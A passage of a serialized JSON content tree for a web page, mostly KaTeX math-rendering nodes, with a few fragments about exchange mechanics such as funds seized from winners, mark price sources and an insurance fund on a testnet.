"props":163824,"children":163826},{"className":163825},[6023],[],{"type":22,"tag":118,"props":163828,"children":163830},{"className":163829,"style":6202},[6104],[],{"type":22,"tag":118,"props":163832,"children":163834},{"className":163833},[6207],[163835],{"type":28,"value":282},{"type":22,"tag":118,"props":163837,"children":163839},{"className":163838,"style":6202},[6104],[],{"type":22,"tag":118,"props":163841,"children":163843},{"className":163842},[6023],[163844,163849],{"type":22,"tag":118,"props":163845,"children":163847},{"className":163846},[6023,23542],[163848],{"type":28,"value":5169},{"type":22,"tag":118,"props":163850,"children":163852},{"className":163851},[6040],[163853],{"type":22,"tag":118,"props":163854,"children":163856},{"className":163855},[6045,23596],[163857,163886],{"type":22,"tag":118,"props":163858,"children":163860},{"className":163859},[6050],[163861,163881],{"type":22,"tag":118,"props":163862,"children":163864},{"className":163863,"style":95172},[6055],[163865],{"type":22,"tag":118,"props":163866,"children":163867},{"style":94699},[163868,163872],{"type":22,"tag":118,"props":163869,"children":163871},{"className":163870,"style":6065},[6064],[],{"type":22,"tag":118,"props":163873,"children":163875},{"className":163874},[6070,6071,6072,6073],[163876],{"type":22,"tag":118,"props":163877,"children":163879},{"className":163878},[6023,23542,6073],[163880],{"type":28,"value":3613},{"type":22,"tag":118,"props":163882,"children":163884},{"className":163883},[23699],[163885],{"type":28,"value":23702},{"type":22,"tag":118,"props":163887,"children":163889},{"className":163888},[6050],[163890],{"type":22,"tag":118,"props":163891,"children":163893},{"className":163892,"style":94726},[6055],[163894],{"type":22,"tag":118,"props":163895,"children":163896},{},[],{"type":22,"tag":118,"props":163898,"children":163900},{"className":163899,"style":6105},[6104],[],{"type":22,"tag":118,"props":163902,"children":163904},{"className":163903},[6110],[163905],{"type":28,"value":3220},{"type":22,"tag":118,"props":163907,"children":163909},{"className":163908,"style":6105},[6104],[],{"type":22,"tag":118,"props":163911,"children":163913},{"className":163912},[6023],[163914,163919],{"type":22,"tag":118,"props":163915,"children":163917},{"className":163916,"style":95129},[6023,23542],[163918],{"type":28,"value":162714},{"type":22,"tag":118,"props":163920,"children":163922},{"className":163921},[6040],[163923],{"type":22,"tag":118,"props":163924,"children":163926},{"className":163925},[6045,23596],[163927,163956],{"type":22,"tag":118,"props":163928,"children":163930},{"className":163929},[6050],[163931,163951],{"type":22,"tag":118,"props":163932,"children":163934},{"className":163933,"style":95172},[6055],[163935],{"type":22,"tag":118,"props":163936,"children":163937},{"style":95176},[163938,163942],{"type":22,"tag":118,"props":163939,"children":163941},{"className":163940,"style":6065},[6064],[],{"type":22,"tag":118,"props":163943,"children":163945},{"className":163944},[6070,6071,6072,6073],[163946],{"type":22,"tag":118,"props":163947,"children":163949},{"className":163948},[6023,23542,6073],[163950],{"type":28,"value":3613},{"type":22,"tag":118,"props":163952,"children":163954},{"className":163953},[23699],[163955],{"type":28,"value":23702},{"type":22,"tag":118,"props":163957,"children":163959},{"className":163958},[6050],[163960],{"type":22,"tag":118,"props":163961,"children":163963},{"className":163962,"style":94726},[6055],[163964],{"type":22,"tag":118,"props":163965,"children":163966},{},[],{"type":22,"tag":118,"props":163968,"children":163969},{"style":162834},[163970,163974],{"type":22,"tag":118,"props":163971,"children":163973},{"className":163972,"style":162543},[6064],[],{"type":22,"tag":118,"props":163975,"children":163977},{"className":163976},[6023],[163978,163982,163986,163991,163995],{"type":22,"tag":118,"props":163979,"children":163981},{"className":163980},[6023],[],{"type":22,"tag":118,"props":163983,"children":163985},{"className":163984,"style":6202},[6104],[],{"type":22,"tag":118,"props":163987,"children":163989},{"className":163988},[6207],[163990],{"type":28,"value":282},{"type":22,"tag":118,"props":163992,"children":163994},{"className":163993,"style":6202},[6104],[],{"type":22,"tag":118,"props":163996,"children":163998},{"className":163997},[6023],[163999,164004],{"type":22,"tag":118,"props":164000,"children":164002},{"className":164001,"style":95129},[6023,23542],[164003],{"type":28,"value":162714},{"type":22,"tag":118,"props":164005,"children":164007},{"className":164006},[6040],[164008],{"type":22,"tag":118,"props":164009,"children":164011},{"className":164010},[6045,23596],[164012,164060],{"type":22,"tag":118,"props":164013,"children":164015},{"className":164014},[6050],[164016,164055],{"type":22,"tag":118,"props":164017,"children":164020},{"className":164018,"style":164019},[6055],"height:0.8213em;",[164021,164038],{"type":22,"tag":118,"props":164022,"children":164024},{"style":164023},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[164025,164029],{"type":22,"tag":118,"props":164026,"children":164028},{"className":164027,"style":6065},[6064],[],{"type":22,"tag":118,"props":164030,"children":164032},{"className":164031},[6070,6071,6072,6073],[164033],{"type":22,"tag":118,"props":164034,"children":164036},{"className":164035},[6023,23542,6073],[164037],{"type":28,"value":3613},{"type":22,"tag":118,"props":164039,"children":164041},{"style":164040},"top:-3.113em;margin-right:0.05em;",[164042,164046],{"type":22,"tag":118,"props":164043,"children":164045},{"className":164044,"style":6065},[6064],[],{"type":22,"tag":118,"props":164047,"children":164049},{"className":164048},[6070,6071,6072,6073],[164050],{"type":22,"tag":118,"props":164051,"children":164053},{"className":164052},[6110,6073],[164054],{"type":28,"value":3220},{"type":22,"tag":118,"props":164056,"children":164058},{"className":164057},[23699],[164059],{"type":28,"value":23702},{"type":22,"tag":118,"props":164061,"children":164063},{"className":164062},[6050],[164064],{"type":22,"tag":118,"props":164065,"children":164068},{"className":164066,"style":164067},[6055],"height:0.267em;",[164069],{"type":22,"tag":118,"props":164070,"children":164071},{},[],{"type":22,"tag":118,"props":164073,"children":164074},{"style":162904},[164075,164079],{"type":22,"tag":118,"props":164076,"children":164078},{"className":164077,"style":162543},[6064],[],{"type":22,"tag":118,"props":164080,"children":164082},{"className":164081},[6023],[164083,164087,164091,164096,164100,164110],{"type":22,"tag":118,"props":164084,"children":164086},{"className":164085},[6023],[],{"type":22,"tag":118,"props":164088,"children":164090},{"className":164089,"style":6202},[6104],[],{"type":22,"tag":118,"props":164092,"children":164094},{"className":164093},[6207],[164095],{"type":28,"value":23561},{"type":22,"tag":118,"props":164097,"children":164099},{"className":164098,"style":6202},[6104],[],{"type":22,"tag":118,"props":164101,"children":164103},{"className":164102},[6023,28],[164104],{"type":22,"tag":118,"props":164105,"children":164107},{"className":164106},[6023],[164108],{"type":28,"value":164109},"dollars seized from winner ",{"type":22,"tag":118,"props":164111,"children":164113},{"className":164112},[6023,23542],[164114],{"type":28,"value":3613},{"type":22,"tag":118,"props":164116,"children":164117},{"style":162973},[164118,164122],{"type":22,"tag":118,"props":164119,"children":164121},{"className":164120,"style":162543},[6064],[],{"type":22,"tag":118,"props":164123,"children":164125},{"className":164124},[6023],[164126,164130,164134,164139,164143],{"type":22,"tag":118,"props":164127,"children":164129},{"className":164128},[6023],[],{"type":22,"tag":118,"props":164131,"children":164133},{"className":164132,"style":6202},[6104],[],{"type":22,"tag":118,"props":164135,"children":164137},{"className":164136},[6207],[164138],{"type":28,"value":282},{"type":22,"tag":118,"props":164140,"children":164142},{"className":164141,"style":6202},[6104],[],{"type":22,"tag":118,"props":164144,"children":164146},{"className":164145},[6023],[164147,164151,164332],{"type":22,"tag":118,"props":164148,"children":164150},{"className":164149},[23671,115161],[],{"type":22,"tag":118,"props":164152,"children":164154},{"className":164153},[115166],[164155],{"type":22,"tag":118,"props":164156,"children":164158},{"className":164157},[6045,23596],[164159,164320],{"type":22,"tag":118,"props":164160,"children":164162},{"className":164161},[6050],[164163,164315],{"type":22,"tag":118,"props":164164,"children":164167},{"className":164165,"style":164166},[6055],"height:1.1076em;",[164168,164236,164247],{"type":22,"tag":118,"props":164169,"children":164170},{"style":160752},[164171,164175],{"type":22,"tag":118,"props":164172,"children":164174},{"className":164173,"style":113814},[6064],[],{"type":22,"tag":118,"props":164176,"children":164178},{"className":164177},[6023],[164179],{"type":22,"tag":118,"props":164180,"children":164182},{"className":164181},[6023],[164183,164188],{"type":22,"tag":118,"props":164184,"children":164186},{"className":164185,"style":123923},[6023,23542],[164187],{"type":28,"value":51512},{"type":22,"tag":118,"props":164189,"children":164191},{"className":164190},[6040],[164192],{"type":22,"tag":118,"props":164193,"children":164195},{"className":164194},[6045,23596],[164196,164225],{"type":22,"tag":118,"props":164197,"children":164199},{"className":164198},[6050],[164200,164220],{"type":22,"tag":118,"props":164201,"children":164203},{"className":164202,"style":95172},[6055],[164204],{"type":22,"tag":118,"props":164205,"children":164206},{"style":162871},[164207,164211],{"type":22,"tag":118,"props":164208,"children":164210},{"className":164209,"style":6065},[6064],[],{"type":22,"tag":118,"props":164212,"children":164214},{"className":164213},[6070,6071,6072,6073],[164215],{"type":22,"tag":118,"props":164216,"children":164218},{"className":164217},[6023,23542,6073],[164219],{"type":28,"value":3613},{"type":22,"tag":118,"props":164221,"children":164223},{"className":164222},[23699],[164224],{"type":28,"value":23702},{"type":22,"tag":118,"props":164226,"children":164228},{"className":164227},[6050],[164229],{"type":22,"tag":118,"props":164230,"children":164232},{"className":164231,"style":94726},[6055],[164233],{"type":22,"tag":118,"props":164234,"children":164235},{},[],{"type":22,"tag":118,"props":164237,"children":164238},{"style":115216},[164239,164243],{"type":22,"tag":118,"props":164240,"children":164242},{"className":164241,"style":113814},[6064],[],{"type":22,"tag":118,"props":164244,"children":164246},{"className":164245,"style":115226},[115225],[],{"type":22,"tag":118,"props":164248,"children":164249},{"style":160803},[164250,164254],{"type":22,"tag":118,"props":164251,"children":164253},{"className":164252,"style":113814},[6064],[],{"type":22,"tag":118,"props":164255,"children":164257},{"className":164256},[6023],[164258],{"type":22,"tag":118,"props":164259,"children":164261},{"className":164260},[6023],[164262,164267],{"type":22,"tag":118,"props":164263,"children":164265},{"className":164264},[6023,23542],[164266],{"type":28,"value":21243},{"type":22,"tag":118,"props":164268,"children":164270},{"className":164269},[6040],[164271],{"type":22,"tag":118,"props":164272,"children":164274},{"className":164273},[6045,23596],[164275,164304],{"type":22,"tag":118,"props":164276,"children":164278},{"className":164277},[6050],[164279,164299],{"type":22,"tag":118,"props":164280,"children":164282},{"className":164281,"style":95172},[6055],[164283],{"type":22,"tag":118,"props":164284,"children":164285},{"style":94699},[164286,164290],{"type":22,"tag":118,"props":164287,"children":164289},{"className":164288,"style":6065},[6064],[],{"type":22,"tag":118,"props":164291,"children":164293},{"className":164292},[6070,6071,6072,6073],[164294],{"type":22,"tag":118,"props":164295,"children":164297},{"className":164296},[6023,23542,6073],[164298],{"type":28,"value":3613},{"type":22,"tag":118,"props":164300,"children":164302},{"className":164301},[23699],[164303],{"type":28,"value":23702},{"type":22,"tag":118,"props":164305,"children":164307},{"className":164306},[6050],[164308],{"type":22,"tag":118,"props":164309,"children":164311},{"className":164310,"style":94726},[6055],[164312],{"type":22,"tag":118,"props":164313,"children":164314},{},[],{"type":22,"tag":118,"props":164316,"children":164318},{"className":164317},[23699],[164319],{"type":28,"value":23702},{"type":22,"tag":118,"props":164321,"children":164323},{"className":164322},[6050],[164324],{"type":22,"tag":118,"props":164325,"children":164328},{"className":164326,"style":164327},[6055],"height:0.836em;",[164329],{"type":22,"tag":118,"props":164330,"children":164331},{},[],{"type":22,"tag":118,"props":164333,"children":164335},{"className":164334},[23693,115161],[],{"type":22,"tag":118,"props":164337,"children":164338},{"style":163042},[164339,164343],{"type":22,"tag":118,"props":164340,"children":164342},{"className":164341,"style":162543},[6064],[],{"type":22,"tag":118,"props":164344,"children":164346},{"className":164345},[6023],[164347,164351,164355,164360,164364,164434,164438],{"type":22,"tag":118,"props":164348,"children":164350},{"className":164349},[6023],[],{"type":22,"tag":118,"props":164352,"children":164354},{"className":164353,"style":6202},[6104],[],{"type":22,"tag":118,"props":164356,"children":164358},{"className":164357},[6207],[164359],{"type":28,"value":282},{"type":22,"tag":118,"props":164361,"children":164363},{"className":164362,"style":6202},[6104],[],{"type":22,"tag":118,"props":164365,"children":164368},{"className":164366},[23578,164367],"op-limits",[164369],{"type":22,"tag":118,"props":164370,"children":164372},{"className":164371},[6045,23596],[164373,164422],{"type":22,"tag":118,"props":164374,"children":164376},{"className":164375},[6050],[164377,164417],{"type":22,"tag":118,"props":164378,"children":164381},{"className":164379,"style":164380},[6055],"height:1.05em;",[164382,164400],{"type":22,"tag":118,"props":164383,"children":164385},{"style":164384},"top:-1.8723em;margin-left:0em;",[164386,164391],{"type":22,"tag":118,"props":164387,"children":164390},{"className":164388,"style":164389},[6064],"height:3.05em;",[],{"type":22,"tag":118,"props":164392,"children":164394},{"className":164393},[6070,6071,6072,6073],[164395],{"type":22,"tag":118,"props":164396,"children":164398},{"className":164397},[6023,23542,6073],[164399],{"type":28,"value":3613},{"type":22,"tag":118,"props":164401,"children":164403},{"style":164402},"top:-3.05em;",[164404,164408],{"type":22,"tag":118,"props":164405,"children":164407},{"className":164406,"style":164389},[6064],[],{"type":22,"tag":118,"props":164409,"children":164410},{},[164411],{"type":22,"tag":118,"props":164412,"children":164415},{"className":164413},[23578,23583,164414],"large-op",[164416],{"type":28,"value":110438},{"type":22,"tag":118,"props":164418,"children":164420},{"className":164419},[23699],[164421],{"type":28,"value":23702},{"type":22,"tag":118,"props":164423,"children":164425},{"className":164424},[6050],[164426],{"type":22,"tag":118,"props":164427,"children":164430},{"className":164428,"style":164429},[6055],"height:1.2777em;",[164431],{"type":22,"tag":118,"props":164432,"children":164433},{},[],{"type":22,"tag":118,"props":164435,"children":164437},{"className":164436,"style":6143},[6104],[],{"type":22,"tag":118,"props":164439,"children":164441},{"className":164440},[6023],[164442,164447],{"type":22,"tag":118,"props":164443,"children":164445},{"className":164444},[6023,23542],[164446],{"type":28,"value":21243},{"type":22,"tag":118,"props":164448,"children":164450},{"className":164449},[6040],[164451],{"type":22,"tag":118,"props":164452,"children":164454},{"className":164453},[6045,23596],[164455,164484],{"type":22,"tag":118,"props":164456,"children":164458},{"className":164457},[6050],[164459,164479],{"type":22,"tag":118,"props":164460,"children":164462},{"className":164461,"style":95172},[6055],[164463],{"type":22,"tag":118,"props":164464,"children":164465},{"style":94699},[164466,164470],{"type":22,"tag":118,"props":164467,"children":164469},{"className":164468,"style":6065},[6064],[],{"type":22,"tag":118,"props":164471,"children":164473},{"className":164472},[6070,6071,6072,6073],[164474],{"type":22,"tag":118,"props":164475,"children":164477},{"className":164476},[6023,23542,6073],[164478],{"type":28,"value":3613},{"type":22,"tag":118,"props":164480,"children":164482},{"className":164481},[23699],[164483],{"type":28,"value":23702},{"type":22,"tag":118,"props":164485,"children":164487},{"className":164486},[6050],[164488],{"type":22,"tag":118,"props":164489,"children":164491},{"className":164490,"style":94726},[6055],[164492],{"type":22,"tag":118,"props":164493,"children":164494},{},[],{"type":22,"tag":118,"props":164496,"children":164497},{"style":163111},[164498,164502],{"type":22,"tag":118,"props":164499,"children":164501},{"className":164500,"style":162543},[6064],[],{"type":22,"tag":118,"props":164503,"children":164505},{"className":164504},[6023],[164506,164510,164514,164519,164523,164586,164590,164595,164600,164605,164662,164667,164671,164675,164680],{"type":22,"tag":118,"props":164507,"children":164509},{"className":164508},[6023],[],{"type":22,"tag":118,"props":164511,"children":164513},{"className":164512,"style":6202},[6104],[],{"type":22,"tag":118,"props":164515,"children":164517},{"className":164516},[6207],[164518],{"type":28,"value":282},{"type":22,"tag":118,"props":164520,"children":164522},{"className":164521,"style":6202},[6104],[],{"type":22,"tag":118,"props":164524,"children":164526},{"className":164525},[23578,164367],[164527],{"type":22,"tag":118,"props":164528,"children":164530},{"className":164529},[6045,23596],[164531,164575],{"type":22,"tag":118,"props":164532,"children":164534},{"className":164533},[6050],[164535,164570],{"type":22,"tag":118,"props":164536,"children":164538},{"className":164537,"style":164380},[6055],[164539,164555],{"type":22,"tag":118,"props":164540,"children":164541},{"style":164384},[164542,164546],{"type":22,"tag":118,"props":164543,"children":164545},{"className":164544,"style":164389},[6064],[],{"type":22,"tag":118,"props":164547,"children":164549},{"className":164548},[6070,6071,6072,6073],[164550],{"type":22,"tag":118,"props":164551,"children":164553},{"className":164552},[6023,23542,6073],[164554],{"type":28,"value":3613},{"type":22,"tag":118,"props":164556,"children":164557},{"style":164402},[164558,164562],{"type":22,"tag":118,"props":164559,"children":164561},{"className":164560,"style":164389},[6064],[],{"type":22,"tag":118,"props":164563,"children":164564},{},[164565],{"type":22,"tag":118,"props":164566,"children":164568},{"className":164567},[23578,23583,164414],[164569],{"type":28,"value":110438},{"type":22,"tag":118,"props":164571,"children":164573},{"className":164572},[23699],[164574],{"type":28,"value":23702},{"type":22,"tag":118,"props":164576,"children":164578},{"className":164577},[6050],[164579],{"type":22,"tag":118,"props":164580,"children":164582},{"className":164581,"style":164429},[6055],[164583],{"type":22,"tag":118,"props":164584,"children":164585},{},[],{"type":22,"tag":118,"props":164587,"children":164589},{"className":164588,"style":6143},[6104],[],{"type":22,"tag":118,"props":164591,"children":164593},{"className":164592},[23578],[164594],{"type":28,"value":162257},{"type":22,"tag":118,"props":164596,"children":164598},{"className":164597},[23671],[164599],{"type":28,"value":540},{"type":22,"tag":118,"props":164601,"children":164603},{"className":164602},[6023],[164604],{"type":28,"value":6084},{"type":22,"tag":118,"props":164606,"children":164608},{"className":164607},[6023],[164609,164614],{"type":22,"tag":118,"props":164610,"children":164612},{"className":164611},[6023,23542],[164613],{"type":28,"value":53395},{"type":22,"tag":118,"props":164615,"children":164617},{"className":164616},[6040],[164618],{"type":22,"tag":118,"props":164619,"children":164621},{"className":164620},[6045,23596],[164622,164651],{"type":22,"tag":118,"props":164623,"children":164625},{"className":164624},[6050],[164626,164646],{"type":22,"tag":118,"props":164627,"children":164629},{"className":164628,"style":95172},[6055],[164630],{"type":22,"tag":118,"props":164631,"children":164632},{"style":94699},[164633,164637],{"type":22,"tag":118,"props":164634,"children":164636},{"className":164635,"style":6065},[6064],[],{"type":22,"tag":118,"props":164638,"children":164640},{"className":164639},[6070,6071,6072,6073],[164641],{"type":22,"tag":118,"props":164642,"children":164644},{"className":164643},[6023,23542,6073],[164645],{"type":28,"value":3613},{"type":22,"tag":118,"props":164647,"children":164649},{"className":164648},[23699],[164650],{"type":28,"value":23702},{"type":22,"tag":118,"props":164652,"children":164654},{"className":164653},[6050],[164655],{"type":22,"tag":118,"props":164656,"children":164658},{"className":164657,"style":94726},[6055],[164659],{"type":22,"tag":118,"props":164660,"children":164661},{},[],{"type":22,"tag":118,"props":164663,"children":164665},{"className":164664},[6136],[164666],{"type":28,"value":6139},{"type":22,"tag":118,"props":164668,"children":164670},{"className":164669,"style":6143},[6104],[],{"type":22,"tag":118,"props":164672,"children":164674},{"className":164673,"style":6143},[6104],[],{"type":22,"tag":118,"props":164676,"children":164678},{"className":164677},[6023],[164679],{"type":28,"value":6036},{"type":22,"tag":118,"props":164681,"children":164683},{"className":164682},[23693],[164684],{"type":28,"value":3627},{"type":22,"tag":118,"props":164686,"children":164687},{"style":163181},[164688,164692],{"type":22,"tag":118,"props":164689,"children":164691},{"className":164690,"style":162543},[6064],[],{"type":22,"tag":118,"props":164693,"children":164695},{"className":164694},[6023],[164696,164700,164704,164709,164713,164776,164780],{"type":22,"tag":118,"props":164697,"children":164699},{"className":164698},[6023],[],{"type":22,"tag":118,"props":164701,"children":164703},{"className":164702,"style":6202},[6104],[],{"type":22,"tag":118,"props":164705,"children":164707},{"className":164706},[6207],[164708],{"type":28,"value":282},{"type":22,"tag":118,"props":164710,"children":164712},{"className":164711,"style":6202},[6104],[],{"type":22,"tag":118,"props":164714,"children":164716},{"className":164715},[23578,164367],[164717],{"type":22,"tag":118,"props":164718,"children":164720},{"className":164719},[6045,23596],[164721,164765],{"type":22,"tag":118,"props":164722,"children":164724},{"className":164723},[6050],[164725,164760],{"type":22,"tag":118,"props":164726,"children":164728},{"className":164727,"style":164380},[6055],[164729,164745],{"type":22,"tag":118,"props":164730,"children":164731},{"style":164384},[164732,164736],{"type":22,"tag":118,"props":164733,"children":164735},{"className":164734,"style":164389},[6064],[],{"type":22,"tag":118,"props":164737,"children":164739},{"className":164738},[6070,6071,6072,6073],[164740],{"type":22,"tag":118,"props":164741,"children":164743},{"className":164742},[6023,23542,6073],[164744],{"type":28,"value":3613},{"type":22,"tag":118,"props":164746,"children":164747},{"style":164402},[164748,164752],{"type":22,"tag":118,"props":164749,"children":164751},{"className":164750,"style":164389},[6064],[],{"type":22,"tag":118,"props":164753,"children":164754},{},[164755],{"type":22,"tag":118,"props":164756,"children":164758},{"className":164757},[23578,23583,164414],[164759],{"type":28,"value":110438},{"type":22,"tag":118,"props":164761,"children":164763},{"className":164762},[23699],[164764],{"type":28,"value":23702},{"type":22,"tag":118,"props":164766,"children":164768},{"className":164767},[6050],[164769],{"type":22,"tag":118,"props":164770,"children":164772},{"className":164771,"style":164429},[6055],[164773],{"type":22,"tag":118,"props":164774,"children":164775},{},[],{"type":22,"tag":118,"props":164777,"children":164779},{"className":164778,"style":6143},[6104],[],{"type":22,"tag":118,"props":164781,"children":164783},{"className":164782},[6023],[164784,164789],{"type":22,"tag":118,"props":164785,"children":164787},{"className":164786,"style":123923},[6023,23542],[164788],{"type":28,"value":51512},{"type":22,"tag":118,"props":164790,"children":164792},{"className":164791},[6040],[164793],{"type":22,"tag":118,"props":164794,"children":164796},{"className":164795},[6045,23596],[164797,164826],{"type":22,"tag":118,"props":164798,"children":164800},{"className":164799},[6050],[164801,164821],{"type":22,"tag":118,"props":164802,"children":164804},{"className":164803,"style":95172},[6055],[164805],{"type":22,"tag":118,"props":164806,"children":164807},{"style":162871},[164808,164812],{"type":22,"tag":118,"props":164809,"children":164811},{"className":164810,"style":6065},[6064],[],{"type":22,"tag":118,"props":164813,"children":164815},{"className":164814},[6070,6071,6072,6073],[164816],{"type":22,"tag":118,"props":164817,"children":164819},{"className":164818},[6023,23542,6073],[164820],{"type":28,"value":3613},{"type":22,"tag":118,"props":164822,"children":164824},{"className":164823},[23699],[164825],{"type":28,"value":23702},{"type":22,"tag":118,"props":164827,"children":164829},{"className":164828},[6050],[164830],{"type":22,"tag":118,"props":164831,"children":164833},{"className":164832,"style":94726},[6055],[164834],{"type":22,"tag":118,"props":164835,"children":164836},{},[],{"type":22,"tag":118,"props":164838,"children":164839},{"style":163252},[164840,164844],{"type":22,"tag":118,"props":164841,"children":164843},{"className":164842,"style":162543},[6064],[],{"type":22,"tag":118,"props":164845,"children":164847},{"className":164846},[6023],[164848,164852,164856,164861,164865,164870,164875,164932,164936,164941,164945,164950,164954,164959,164963,165020,165025,165029,165033,165038],{"type":22,"tag":118,"props":164849,"children":164851},{"className":164850},[6023],[],{"type":22,"tag":118,"props":164853,"children":164855},{"className":164854,"style":6202},[6104],[],{"type":22,"tag":118,"props":164857,"children":164859},{"className":164858},[6207],[164860],{"type":28,"value":282},{"type":22,"tag":118,"props":164862,"children":164864},{"className":164863,"style":6202},[6104],[],{"type":22,"tag":118,"props":164866,"children":164868},{"className":164867},[23578],[164869],{"type":28,"value":162257},{"type":22,"tag":118,"props":164871,"children":164873},{"className":164872},[23671],[164874],{"type":28,"value":540},{"type":22,"tag":118,"props":164876,"children":164878},{"className":164877},[6023],[164879,164884],{"type":22,"tag":118,"props":164880,"children":164882},{"className":164881,"style":94643},[6023,23542],[164883],{"type":28,"value":163130},{"type":22,"tag":118,"props":164885,"children":164887},{"className":164886},[6040],[164888],{"type":22,"tag":118,"props":164889,"children":164891},{"className":164890},[6045,23596],[164892,164921],{"type":22,"tag":118,"props":164893,"children":164895},{"className":164894},[6050],[164896,164916],{"type":22,"tag":118,"props":164897,"children":164899},{"className":164898,"style":144198},[6055],[164900],{"type":22,"tag":118,"props":164901,"children":164902},{"style":111642},[164903,164907],{"type":22,"tag":118,"props":164904,"children":164906},{"className":164905,"style":6065},[6064],[],{"type":22,"tag":118,"props":164908,"children":164910},{"className":164909},[6070,6071,6072,6073],[164911],{"type":22,"tag":118,"props":164912,"children":164914},{"className":164913,"style":23543},[6023,23542,6073],[164915],{"type":28,"value":7997},{"type":22,"tag":118,"props":164917,"children":164919},{"className":164918},[23699],[164920],{"type":28,"value":23702},{"type":22,"tag":118,"props":164922,"children":164924},{"className":164923},[6050],[164925],{"type":22,"tag":118,"props":164926,"children":164928},{"className":164927,"style":94726},[6055],[164929],{"type":22,"tag":118,"props":164930,"children":164931},{},[],{"type":22,"tag":118,"props":164933,"children":164935},{"className":164934,"style":6105},[6104],[],{"type":22,"tag":118,"props":164937,"children":164939},{"className":164938},[6110],[164940],{"type":28,"value":6084},{"type":22,"tag":118,"props":164942,"children":164944},{"className":164943,"style":6105},[6104],[],{"type":22,"tag":118,"props":164946,"children":164948},{"className":164947,"style":96663},[6023,23542],[164949],{"type":28,"value":96697},{"type":22,"tag":118,"props":164951,"children":164953},{"className":164952,"style":6105},[6104],[],{"type":22,"tag":118,"props":164955,"children":164957},{"className":164956},[6110],[164958],{"type":28,"value":6084},{"type":22,"tag":118,"props":164960,"children":164962},{"className":164961,"style":6105},[6104],[],{"type":22,"tag":118,"props":164964,"children":164966},{"className":164965},[6023],[164967,164972],{"type":22,"tag":118,"props":164968,"children":164970},{"className":164969,"style":94877},[6023,23542],[164971],{"type":28,"value":94880},{"type":22,"tag":118,"props":164973,"children":164975},{"className":164974},[6040],[164976],{"type":22,"tag":118,"props":164977,"children":164979},{"className":164978},[6045,23596],[164980,165009],{"type":22,"tag":118,"props":164981,"children":164983},{"className":164982},[6050],[164984,165004],{"type":22,"tag":118,"props":164985,"children":164987},{"className":164986,"style":144198},[6055],[164988],{"type":22,"tag":118,"props":164989,"children":164990},{"style":112072},[164991,164995],{"type":22,"tag":118,"props":164992,"children":164994},{"className":164993,"style":6065},[6064],[],{"type":22,"tag":118,"props":164996,"children":164998},{"className":164997},[6070,6071,6072,6073],[164999],{"type":22,"tag":118,"props":165000,"children":165002},{"className":165001,"style":23543},[6023,23542,6073],[165003],{"type":28,"value":7997},{"type":22,"tag":118,"props":165005,"children":165007},{"className":165006},[23699],[165008],{"type":28,"value":23702},{"type":22,"tag":118,"props":165010,"children":165012},{"className":165011},[6050],[165013],{"type":22,"tag":118,"props":165014,"children":165016},{"className":165015,"style":94726},[6055],[165017],{"type":22,"tag":118,"props":165018,"children":165019},{},[],{"type":22,"tag":118,"props":165021,"children":165023},{"className":165022},[6136],[165024],{"type":28,"value":6139},{"type":22,"tag":118,"props":165026,"children":165028},{"className":165027,"style":6143},[6104],[],{"type":22,"tag":118,"props":165030,"children":165032},{"className":165031,"style":6143},[6104],[],{"type":22,"tag":118,"props":165034,"children":165036},{"className":165035},[6023],[165037],{"type":28,"value":6036},{"type":22,"tag":118,"props":165039,"children":165041},{"className":165040},[23693],[165042],{"type":28,"value":3627},{"type":22,"tag":118,"props":165044,"children":165046},{"className":165045},[23699],[165047],{"type":28,"value":23702},{"type":22,"tag":118,"props":165049,"children":165051},{"className":165050},[6050],[165052],{"type":22,"tag":118,"props":165053,"children":165055},{"className":165054,"style":163333},[6055],[165056],{"type":22,"tag":118,"props":165057,"children":165058},{},[],{"type":22,"tag":31,"props":165060,"children":165061},{},[165062,165063,165140,165142,165167,165169,165246,165248,165325],{"type":28,"value":540},{"type":22,"tag":114,"props":165064,"children":165066},{"className":165065},[5995,5996],[165067],{"type":22,"tag":118,"props":165068,"children":165070},{"className":165069},[6001],[165071],{"type":22,"tag":118,"props":165072,"children":165074},{"className":165073,"ariaHidden":6007},[6006],[165075],{"type":22,"tag":118,"props":165076,"children":165078},{"className":165077},[6012],[165079,165083],{"type":22,"tag":118,"props":165080,"children":165082},{"className":165081,"style":112640},[6017],[],{"type":22,"tag":118,"props":165084,"children":165086},{"className":165085},[6023],[165087,165092],{"type":22,"tag":118,"props":165088,"children":165090},{"className":165089,"style":23543},[6023,23542],[165091],{"type":28,"value":23546},{"type":22,"tag":118,"props":165093,"children":165095},{"className":165094},[6040],[165096],{"type":22,"tag":118,"props":165097,"children":165099},{"className":165098},[6045,23596],[165100,165129],{"type":22,"tag":118,"props":165101,"children":165103},{"className":165102},[6050],[165104,165124],{"type":22,"tag":118,"props":165105,"children":165107},{"className":165106,"style":111075},[6055],[165108],{"type":22,"tag":118,"props":165109,"children":165110},{"style":162576},[165111,165115],{"type":22,"tag":118,"props":165112,"children":165114},{"className":165113,"style":6065},[6064],[],{"type":22,"tag":118,"props":165116,"children":165118},{"className":165117},[6070,6071,6072,6073],[165119],{"type":22,"tag":118,"props":165120,"children":165122},{"className":165121},[6023,23542,6073],[165123],{"type":28,"value":58344},{"type":22,"tag":118,"props":165125,"children":165127},{"className":165126},[23699],[165128],{"type":28,"value":23702},{"type":22,"tag":118,"props":165130,"children":165132},{"className":165131},[6050],[165133],{"type":22,"tag":118,"props":165134,"children":165136},{"className":165135,"style":94726},[6055],[165137],{"type":22,"tag":118,"props":165138,"children":165139},{},[],{"type":28,"value":165141},": mark price from different sources; ",{"type":22,"tag":114,"props":165143,"children":165145},{"className":165144},[5995,5996],[165146],{"type":22,"tag":118,"props":165147,"children":165149},{"className":165148},[6001],[165150],{"type":22,"tag":118,"props":165151,"children":165153},{"className":165152,"ariaHidden":6007},[6006],[165154],{"type":22,"tag":118,"props":165155,"children":165157},{"className":165156},[6012],[165158,165162],{"type":22,"tag":118,"props":165159,"children":165161},{"className":165160,"style":23537},[6017],[],{"type":22,"tag":118,"props":165163,"children":165165},{"className":165164,"style":96663},[6023,23542],[165166],{"type":28,"value":96697},{"type":28,"value":165168},": insurance fund, roughly the 5M on testnet HL; 